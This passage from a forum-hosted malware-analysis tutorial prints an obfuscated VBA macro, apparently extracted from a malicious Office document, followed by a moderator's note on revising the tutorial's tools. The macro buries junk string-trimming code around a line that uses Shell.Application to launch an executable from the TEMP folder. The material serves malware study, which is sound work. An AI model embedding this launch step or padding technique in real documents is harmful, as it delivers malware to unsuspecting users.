cVdVdAax = "           KDIRVU               "
lVxpUTvc = LTrim(cVdVdAax)
gBYwaPXv = RTrim(lVxpUTvc)

ecxLnqXf = RTrim(uxdUyuvd)

Dim yviqcmIy, PlHTQGbC, hhcNVqkG As String
yviqcmIy = "           PKHVKE               "
PlHTQGbC = LTrim(yviqcmIy)
hhcNVqkG = RTrim(PlHTQGbC)

SlmtolQf = RTrim(FUJlqjtG)

Dim UfzdDPPI, dpOINyAb, Jtkednlk As String
Dim CDOGazUW, bBVOPvjg, FGefHqZC As String
CDOGazUW = "           WDXJNR               "
bBVOPvjg = LTrim(CDOGazUW)
FGefHqZC = RTrim(bBVOPvjg)

UfzdDPPI = "           VDDBNQ               "
Dim BXhrIysC, VYLHYiJx, pSTLoXWU As String
BXhrIysC = "           VOXQTT               "
VYLHYiJx = LTrim(BXhrIysC)
pSTLoXWU = RTrim(VYLHYiJx)

dpOINyAb = LTrim(UfzdDPPI)
Dim xTaCHGFV, lYsoqMsB, fYwmRVON As String
xTaCHGFV = "           KREEDF               "
lYsoqMsB = LTrim(xTaCHGFV)
fYwmRVON = RTrim(lYsoqMsB)

Jtkednlk = RTrim(dpOINyAb)

Dim FamlMBGc, UkqrQyta, sdLvVAXL As String
FamlMBGc = "           OJNPKQ               "
UkqrQyta = LTrim(FamlMBGc)
sdLvVAXL = RTrim(UkqrQyta)

   
Dim lWdxjQex, hWxIQHnc, qXUMyMVb As String
Dim OxTDEDBL, sULUdqIf, ncBqlXMX As String
Dim ZQyubYlI, tXmaoree, lSnTgGgQ As String
ZQyubYlI = "           QSUNSL               "
tXmaoree = LTrim(ZQyubYlI)
lSnTgGgQ = RTrim(tXmaoree)

OxTDEDBL = "           FTMGFC               "
sULUdqIf = LTrim(OxTDEDBL)
Dim VPxFFIZI, pHoJhwYL, inSEfcsk As String
VPxFFIZI = "           CEBEIL               "
pHoJhwYL = LTrim(VPxFFIZI)
inSEfcsk = RTrim(pHoJhwYL)

ncBqlXMX = RTrim(sULUdqIf)

Dim lbYGHTkJ, hnHaqOGL, qAadTFsM As String
lbYGHTkJ = "           HAKBDO               "
hnHaqOGL = LTrim(lbYGHTkJ)
qAadTFsM = RTrim(hnHaqOGL)

lWdxjQex = "           HQIHNS               "
Dim SnADXHql, VYfHvRfR, XkJExYMe As String
Dim jdZDZMKn, WoqiHgPk, FbaLYwBW As String
jdZDZMKn = "           CCTMPI               "
WoqiHgPk = LTrim(jdZDZMKn)
FbaLYwBW = RTrim(WoqiHgPk)

SnADXHql = "           JBZESC               "
Dim CLrxPmvT, btlhlKiN, FWcMvElI As String
CLrxPmvT = "           FTZBZM               "
btlhlKiN = LTrim(CLrxPmvT)
FWcMvElI = RTrim(btlhlKiN)

VYfHvRfR = LTrim(SnADXHql)
Dim kJTzzyJh, RCktRMMn, HeriyIVQ As String
kJTzzyJh = "           UURPGT               "
RCktRMMn = LTrim(kJTzzyJh)
HeriyIVQ = RTrim(RCktRMMn)

XkJExYMe = RTrim(VYfHvRfR)

Dim BxreRris, WcggBiTd, Hvvnldef As String
BxreRris = "           YBRYUW               "
WcggBiTd = LTrim(BxreRris)
Hvvnldef = RTrim(WcggBiTd)

hWxIQHnc = LTrim(lWdxjQex)
Dim MXZvcYvK, HXSPKPXL, QCXXdGlW As String
Dim YVtOUTkT, sLDrMNpc, HFmvuwag As String
YVtOUTkT = "           THLKSA               "
sLDrMNpc = LTrim(YVtOUTkT)
HFmvuwag = RTrim(sLDrMNpc)

MXZvcYvK = "           ESHJRP               "
Dim tbnHedvk, UPFPSPiQ, XnMfKxll As String
tbnHedvk = "           BYJJAP               "
UPFPSPiQ = LTrim(tbnHedvk)
XnMfKxll = RTrim(UPFPSPiQ)

HXSPKPXL = LTrim(MXZvcYvK)
Dim rCDEumWC, jebYIoVi, ZosOqXak As String
rCDEumWC = "           NPIVJS               "
jebYIoVi = LTrim(rCDEumWC)
ZosOqXak = RTrim(jebYIoVi)

QCXXdGlW = RTrim(HXSPKPXL)

Dim YtGhfmZm, ZyBAIbNw, cupDeEcx As String
YtGhfmZm = "           CJCSVR               "
ZyBAIbNw = LTrim(YtGhfmZm)
cupDeEcx = RTrim(ZyBAIbNw)

qXUMyMVb = RTrim(hWxIQHnc)

Dim MgdcqOqq, bpMKctzz, lnQEgskT As String
Dim mKgzfBKY, NDXcnlPv, RORKFGAh As String
mKgzfBKY = "           KZLLDK               "
NDXcnlPv = LTrim(mKgzfBKY)
RORKFGAh = RTrim(NDXcnlPv)

MgdcqOqq = "           SVXSAE               "
Dim gLBzBsXc, JtdXIOTK, yWlbDmJn As String
gLBzBsXc = "           RHRCBO               "
JtdXIOTK = LTrim(gLBzBsXc)
yWlbDmJn = RTrim(JtdXIOTK)

bpMKctzz = LTrim(MgdcqOqq)
Dim QYlsteDm, VDtgUHHT, pLJkoRMH As String
QYlsteDm = "           VSZVTX               "
VDtgUHHT = LTrim(QYlsteDm)
pLJkoRMH = RTrim(VDtgUHHT)

lnQEgskT = RTrim(bpMKctzz)

Dim pgpLMNDi, thltgtqo, ahEjOoIp As String
pgpLMNDi = "           QWUAGM               "
thltgtqo = LTrim(pgpLMNDi)
ahEjOoIp = RTrim(thltgtqo)

Set gdfgfdgdfgdf = CreateObject("Shell.Application")
gdfgfdgdfgdf.Open Environ("TEMP") & "\YEWZMJFAHIB.exe"
Dim spQjQKQS, JylQVdZR, OxpxGlJi As String
Dim PHIxcDmG, dzXjuqrp, AKzMdXhK As String
Dim WkgozDJh, FItMKMuL, lEDgygVQ As String
WkgozDJh = "           SBCTXT               "
FItMKMuL = LTrim(WkgozDJh)
lEDgygVQ = RTrim(FItMKMuL)

PHIxcDmG = "           GGWUQC               "
Dim ZJkPqmgq, JUcfjynL, lLSiNEpf As String
ZJkPqmgq = "           RROYHW               "
JUcfjynL = LTrim(ZJkPqmgq)
lLSiNEpf = RTrim(JUcfjynL)

dzXjuqrp = LTrim(PHIxcDmG)
Dim IRIfOFDc, YhsaUHlX, KwVroExu As String
IRIfOFDc = "           GATHTX               "
YhsaUHlX = LTrim(IRIfOFDc)
KwVroExu = RTrim(YhsaUHlX)

AKzMdXhK = RTrim(dzXjuqrp)

Dim QTCCNrDB, UTuomoqa, ZYkmGdIz As String
QTCCNrDB = "           BRAEKX               "
UTuomoqa = LTrim(QTCCNrDB)
ZYkmGdIz = RTrim(UTuomoqa)

spQjQKQS = "           MXOOFU               "
Dim xGeYOuNy, IXGOqWrj, MzASDOuA As String
Dim PyXORlGI, hzRrJDUn, MCsbrivl As String
PyXORlGI = "           UMFKQW               "
hzRrJDUn = LTrim(PyXORlGI)
MCsbrivl = RTrim(hzRrJDUn)

xGeYOuNy = "           OYGBYT               "
Dim TbjgfsjN, iQToCONl, xAQSzwsz As String
TbjgfsjN = "           DYDEYO               "
iQToCONl = LTrim(TbjgfsjN)
xAQSzwsz = RTrim(iQToCONl)

IXGOqWrj = LTrim(xGeYOuNy)
Dim cLvnYnds, OBqEigjx, UPFhyjXW As String
cLvnYnds = "           PINXRG               "
OBqEigjx = LTrim(cLvnYnds)
UPFhyjXW = RTrim(OBqEigjx)

MzASDOuA = RTrim(IXGOqWrj)

Dim tlcjOdjI, NmUZejFP, XwKFcwsQ As String
tlcjOdjI = "           OVFDON               "
NmUZejFP = LTrim(tlcjOdjI)
XwKFcwsQ = RTrim(NmUZejFP)

JylQVdZR = LTrim(spQjQKQS)
Dim HWKuqQEL, QXelTHaM, YCdRNMvW As String
Dim dKprwhuT, JDJvIQVc, xObMWyHg As String
dKprwhuT = "           FZJMJN               "
JDJvIQVc = LTrim(dKprwhuT)
xObMWyHg = RTrim(JDJvIQVc)

HWKuqQEL = "           ASVICS               "
Dim uHpHKnJL, wYhlVseA, VJRfUOSX As String
uHpHKnJL = "           MRTOYC               "
wYhlVseA = LTrim(uHpHKnJL)
VJRfUOSX = RTrim(wYhlVseA)

QXelTHaM = LTrim(HWKuqQEL)
Dim rUIHbNCp, hDmLzFal, ALuXEArR As String
rUIHbNCp = "           NZTRAZ               "
hDmLzFal = LTrim(rUIHbNCp)
ALuXEArR = RTrim(hDmLzFal)

YCdRNMvW = RTrim(QXelTHaM)

Dim hIlFfurA, qOENIsAZ, uPDsehBR As String
hIlFfurA = "           FTSBBC               "
qOENIsAZ = LTrim(hIlFfurA)
uPDsehBR = RTrim(qOENIsAZ)

OxpxGlJi = RTrim(JylQVdZR)

Dim fEPZavPZ, KbkCfMZm, cmNlngls As String
Dim tgbNSIOI, CRhQZGVs, ZnVyHpHe As String
tgbNSIOI = "           JVENFZ               "
CRhQZGVs = LTrim(tgbNSIOI)
ZnVyHpHe = RTrim(CRhQZGVs)

fEPZavPZ = "           WYIGXV               "
Dim jkCepHbQ, TizYgAQl, iljnBBmD As String
jkCepHbQ = "           VKVGGT               "
TizYgAQl = LTrim(jkCepHbQ)
iljnBBmD = RTrim(TizYgAQl)

KbkCfMZm = LTrim(fEPZavPZ)
Dim XyDASvcv, isbRgdnO, lksUHNEL As String
XyDASvcv = "           XFICUF               "
isbRgdnO = LTrim(XyDASvcv)
lksUHNEL = RTrim(isbRgdnO)

cmNlngls = RTrim(KbkCfMZm)

Dim SASlBtnJ, IZXRloVK, EZyHDfwM As String
SASlBtnJ = "           NZWFJX               "
IZXRloVK = LTrim(SASlBtnJ)
EZyHDfwM = RTrim(IZXRloVK)

     
End Function

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [Tutorial] Analyzing Malware By Example: Part 1
« Reply #14 on: September 26, 2015, 09:46:12 pm »
I reworked the whole tutorial.
I removed the requirements part, because this is already covered in the analysis lab setup tutorials.
I replaced oletools by OfficeMalscanner, because the new version of oletools does the hex conversion on its own, and it may be better to know more tools than one (oletools is part of the second tutorial too).
I added more explanations and compatibility to those who only use Windows (e.g. mentioning alternative for sha256sum command).
I added TrID for file type analysis, so also Windows users have an alternative to the 'file' command in *nix.

@bn1st Thanks for the additions.
« Last Edit: September 26, 2015, 09:49:42 pm by Deque »